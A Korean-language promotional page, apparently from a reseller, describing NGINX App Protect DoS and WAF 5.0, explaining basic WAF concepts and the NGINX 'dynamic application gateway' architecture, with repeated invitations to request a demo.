gRPC는 개발자가 최신 애플리케이션을 설계하고 배포하는 데 필요한 속도와 유연성을 제공하지만, 프레임워크의 고유한 개방적 특성으로 인해 DoS 공격에 매우 취약합니다. 성능 저하, 애플리케이션 및 웹사이트 중단, 수익 포기, 고객 충성도 및 브랜드 손상으로 이어질 수 있는 심각한 레이어 7 DoS 공격에 앞서 나가려면 최신 방어가 필요합니다. 그렇기 때문에 NGINX App Protect DoS는 최신 gRPC 애플리케이션에 필수적입니다.
위 내용과 같이 NGINX Plus / NGINX App Protect DoS 를 활용하여 Demo 가 필요하시면 하단의 전문가에게 상담받기 버튼을 클릭해주세요
오늘날의 애플리케이션에는 성능, 개인 정보 보호, 보안 고려 사항이 다릅니다.
많은 사람들이 서로 다른 최적의 라우팅 요구 사항을 갖고 있을 가능성이 높습니다.
대부분은 다른 환경에서 호스팅됩니다. 오늘날 조직에는 퍼블릭 클라우드, 프라이빗 클라우드, 온프레미스 등 거의 모든 곳에 배포된 애플리케이션에 적용할 수 있는 통합 솔루션이 필요합니다. NGINX App Protect WAF는 이러한 통합 솔루션을 제공합니다.
NGINX App Protect WAF 아키텍처가 크게 개선되었습니다.
NGINX App Protect의 이전 릴리스(4.x까지)는 패키지 소프트웨어로 제공되었으며 이는 NGINX App Protect WAF 4.x 릴리스에서도 계속됩니다.
그러나 NGINX App Protect WAF의 새 버전인 버전 5.0은 공격 표면을 줄이는 컨테이너화된 폼 팩터의 퍼블릭 클라우드, 프라이빗 클라우드 및 온프레미스 배포용으로 설계되었습니다.
NGINX App Protect WAF 5.0은 기업이 더 작은 공간으로 컨테이너화된 환경에서 최신 앱과 API를 보호할 수 있도록 지원하는 혁신을 도입합니다.
NGINX App Protect WAF 5.0은 NGINX OSS와 NGINX Plus를 모두 지원할 뿐만 아니라 제어 및 데이터 플레인을 분리하여 민첩한 개발 방법론을 향상시킵니다. NGINX App Protect 5.0은 독립형 정책 관리 컨테이너를 지원하고 고객에게 다음과 같은 가치를 제공합니다.
클라우드 및 하이브리드 배포용으로 설계되었기 때문에 NGINX App Protect WAF 5.0의 컨테이너화된 폼 팩터 접근 방식은 민첩한 파이프라인과 CI/CD 프레임워크를 사용하여 애플리케이션을 구축하고 유지 관리하는 DevOps 팀에 최적화되어 있습니다.
NGINX App Protect 5.0은 퍼블릭 클라우드, 프라이빗 클라우드 및 온프레미스에서 활용할 수 있으므로 통합되고 일관된 앱 및 API 보안 솔루션에 대한 요구를 충족할 수 있습니다.
NGINX App Protect 5.0은 업데이트 및 업그레이드도 단순화합니다.
새로운 아키텍처를 사용하는 NGINX App Protect 5.0에서는 업데이트된 서명으로 컴파일러만 다시 빌드하면 됩니다. 그리고 NGINX App Protect 5.0은 가상 머신 및 컨테이너를 포함한 모든 폼 팩터에서 NGINX를 지원합니다.
그러나 분명히 말하면 NGINX App Protect 5.0은 NGINX App Protect 4.x를 대체하지 않습니다.
둘 다 고객의 특정 배포 요구 사항을 해결하기 위해 제공될 예정이며, NGINX App Protect 4.x는 계속 업데이트되어 패키지 제품으로 제공되고 NGINX App Protect 5.0 이상은 Docker 또는 Kubernetes를 지원하는 컨테이너로 제공됩니다.
그렇다면 이것이 당신에게 무엇을 의미합니까?
우선, NGINX Plus 로 마이그레이션하는 것은 더 이상 요구 사항이 아니며 보안 솔루션을 다시 사용자 정의할 필요가 없으므로 귀중한 시간을 절약하고 총 소유 비용(TCO)을 줄일 수 있습니다. 최신 애플리케이션과의 통합을 위한 기본 폼 팩터인 컨테이너를 사용하면 NGINX App Protect 5.0에서 노출되는 공격 표면이 줄어들어 보안이 향상됩니다. 원하는 경우 NGINX OSS 프록시에서 실행되는 애플리케이션을 보호할 수도 있습니다 또한 이 접근 방식은 SecOps 및 DevOps 팀이 전반적인 보안 상태 관리 및 구현을 보다 효과적으로 유지할 수 있도록 더 나은 작동성을 제공합니다.
개발 속도를 가속화하는 데 도움이 되므로 민첩한 개발을 활성화하고 새로운 운영 체제 및 버전 증분을 지원해야 할 필요성을 줄이는 것이 추구되었습니다. 또한 이 접근 방식은 컨테이너화된 이미지를 자체 생성하고 모든 릴리스 및 서명 업데이트에 대해 모든 인스턴스별로 배포하는 대신 컨테이너 지원 폼 팩터를 활용하여 소비를 단순화합니다.
NGINX App Protect는 애플리케이션 가까이에 위치하도록 설계된 최신 WAF로, 경계 WAF를 넘어 추가 보호 기능을 제공합니다. DevOps 및 CI/CD 프레임워크에 완전히 통합되어 다음을 수행할 수 있습니다.
NGINX App Protect v5.0으로 애플리케이션을 보호하여 제품과 솔루션의 수명주기와 혁신에 집중할 수 있습니다.
WAF란 무엇입니까?
보안을 이해하더라도 보안 애플리케이션을 생성하는 것은 어렵습니다. 특히 오늘날 기업에서 흔히 볼 수 있는 압박 속에서 작업할 때는 더욱 그렇습니다. WAF는 중요한 데이터 손실, 공격자에 의한 시스템 하이재킹, 다운타임으로 이어질 수 있는 정교한 레이어 7 공격으로부터 애플리케이션을 보호합니다.
NGINX App Protect 소개 영상
WAF를 배포하는 방법
보안 수명주기에는 보안, 모니터링, 테스트, 개선의 4단계가 포함됩니다. 장치를 네트워크에 연결하기 전에 네트워크 인프라를 문서화하고 장치 또는 장치가 실행되는 상자를 강화했는지 확인하십시오. 패치를 적용하고 보안 강화를 위해 장치를 구성하는 데 항상 시간을 투자하십시오. 배치하기 전에 WAF를 주의 깊게 테스트하여 WAF로 인해 발생할 수 있는 시스템 통합 문제를 노출시키십시오. 여기서부터는 배포가 쉽습니다.
WAF는 역방향 프록시입니까?
역방향 프록시 서버는 일반적으로 개인 네트워크의 방화벽 뒤에 위치하며 클라이언트 요청을 적절한 백엔드 서버로 전달하는 프록시 서버 유형입니다. 프록시는 일반적으로 클라이언트를 보호하지만 WAF는 서버를 보호하고 특정 웹 애플리케이션을 보호하기 위해 배포됩니다. 따라서 WAF는 역방향 프록시로 간주될 수 있습니다. WAF는 어플라이언스, 서버 플러그인 또는 필터의 형태로 제공될 수 있으며 애플리케이션에 맞게 사용자 정의될 수 있습니다.
Dynamic Application Gateway: Creating A Single Tier for Application Ingress and Egress
애플리케이션 환경을 위한 새로운 아키텍처에 대해 우리가 듣는 대부분의 이야기는 모놀리식 애플리케이션을 분산 애플리케이션을 구성하는 더 작은 개별 서비스로 나누는 데 중점을 두고 있습니다. 이러한 접근 방식을 흔히 마이크로서비스 라고 합니다 . 병렬 아키텍처 전환이 진행 중이며 마이크로서비스만큼 큰 인기를 누리지는 못하지만 그 만큼 중요할 것으로 예상됩니다. 이는 애플리케이션의 수신 및 송신 트래픽을 클라우드에 구애받지 않는 단일 소프트웨어 계층으로 처리하는 계층의 붕괴를 의미합니다.
내 동료 Owen Garrett이 최근 블로그 게시물 에서 논의했듯이 일반적인 수신-송신 트래픽 파이프라인은 복잡합니다.
역방향 프록시, 웹 애플리케이션 방화벽(WAF), 웹 캐시, API 게이트웨이 및 로드 밸런서에 대해 각각 하나씩 기업의 미션 크리티컬 애플리케이션을 앞지르는 5개의 개별 계층을 보는 것은 드문 일이 아닙니다. 그리고 그것이 전부가 아닐 수도 있습니다! 최근 런던에서 열린 회의에서 한 대형 게임 회사는 “우리 아키텍처가 이렇게 단순했으면 좋겠다”고 한탄했습니다.
복잡한 계층 체인이 있는 일반적인 애플리케이션 파이프라인
이러한 일반적인 접근 방식의 문제점은 트래픽이 사용자가 요청한 결과를 실제로 생성하는 애플리케이션에 최종적으로 도달하기 전에 수많은 기능 계층을 거쳐야 한다는 것입니다. 각 계층은 가능한 실패 지점을 나타내며 비용, 관리 오버헤드 및 가장 중요한 대기 시간을 가져옵니다. 애플리케이션 제공 스택에서 개별 서비스 구성 요소를 사용하는 것을 좋아 하더라도 성능 저하를 감수할 가치가 없는 경우가 많습니다.
많은 고객이 더 나은 접근 방식, 즉 수신-송신 계층의 기능을 유지하면서 홉과 오버헤드가 적은 단순화된 아키텍처를 구현하고 있다고 말했습니다. 우리는 이를 동적 애플리케이션 게이트웨이라고 부릅니다 .
NGINX를 사용하여 동적 애플리케이션 게이트웨이 설계
NGINX 애플리케이션 플랫폼 은 애플리케이션 프런트엔드 및 백엔드 아키텍처 모두를 지원하도록 설계된 애플리케이션 개발 및 제공 기술 제품군입니다. NGINX Plus R16 의 최근 향상된 기능은 인증, 방화벽, 캐싱 및 로드 밸런싱 기능을 결합하는 단일 프런트엔드 계층이 있는 수신 및 송신 트래픽에 대한 새로운 패러다임을 도입했습니다. 그리고 클러스터링 기능을 사용하면 이 계층을 동적인 방식으로 확장하여 성능과 활용도를 극대화할 수 있습니다. 홉이 줄어들면 성능이 크게 향상되고, 여러 오류 지점이 제거되며, 여러 공급업체의 도구 지원 비용이 절감됩니다.
NGINX Plus는 단일 동적 애플리케이션 프런트엔드로 앱 제공 파이프라인을 단순화합니다.
동적 애플리케이션 게이트웨이란 무엇입니까?
NGINX Conf 2018 에 참석하셨다면 동적 애플리케이션 게이트웨이의 개념에 대해 들어보셨을 것입니다. 하지만 컨텍스트를 설정하고 간단한 정의를 제공하겠습니다.
동적 애플리케이션 게이트웨이는 프록시, SSL 종료, WAF, 캐싱, API 게이트웨이 및 로드 밸런싱을 포함한 애플리케이션 제공 기술을 모든 애플리케이션과 클라우드 전반에 걸쳐 안팎의 North-South 트래픽을 위한 단일 동적 계층으로 결합합니다.
이는 동적 애플리케이션 게이트웨이를 의미합니다.
동적 Application Gateway가 필요한 5가지 이유
애플리케이션 제공에 대한 이 새로운 접근 방식에 영감을 준 것은 무엇입니까?
이러한 모든 추세를 고려하여 이제는 수신-송신 트래픽 파이프라인의 아키텍처를 검토할 때입니다. 프록시, WAF, 캐싱, API 게이트웨이 및 로드 밸런싱과 같은 제공 기술을 결합하는 동적 애플리케이션 게이트웨이를 구축하면 변화하는 요구 사항에 대응하고 아키텍처를 단순화하며 마이크로서비스와 같은 보다 동적인 백엔드 애플리케이션 아키텍처로의 길을 열 수 있습니다.
위 내용과 같이 NGINX Plus / NGINX App Protect 를 활용하여 Demo 가 필요하시면 하단의 전문가에게 상담받기 버튼을 클릭해주세요
